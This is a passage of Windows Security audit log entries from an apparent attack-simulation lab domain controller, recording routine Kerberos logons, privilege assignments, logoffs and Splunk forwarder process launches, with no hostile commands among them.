-RecordNumber=255636 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x33D5AD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64596 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:25:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255635 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x33D5AD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:26:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255638 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf9c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:26:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255639 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:26:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255641 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:26:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255640 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa2c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:26:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255643 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:26:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255642 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x47c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:26:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255644 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8dc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:26:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255647 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x340B0A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:26:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255646 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x340B0A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64611 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:26:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255645 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x340B0A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:27:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255653 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x340DD1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:27:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255652 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x340DD1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64615 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:27:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255651 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x340DD1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:27:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255650 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x340D65 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:27:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255649 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x340D65 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64614 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:27:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255648 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x340D65 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:27:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255665 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x34118A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:27:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255664 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x341298 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:27:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255663 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3412E1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:27:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255662 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x341503 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64620 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:27:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255661 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x341503 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:27:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255660 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:27:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255659 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3412E1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64619 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:27:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 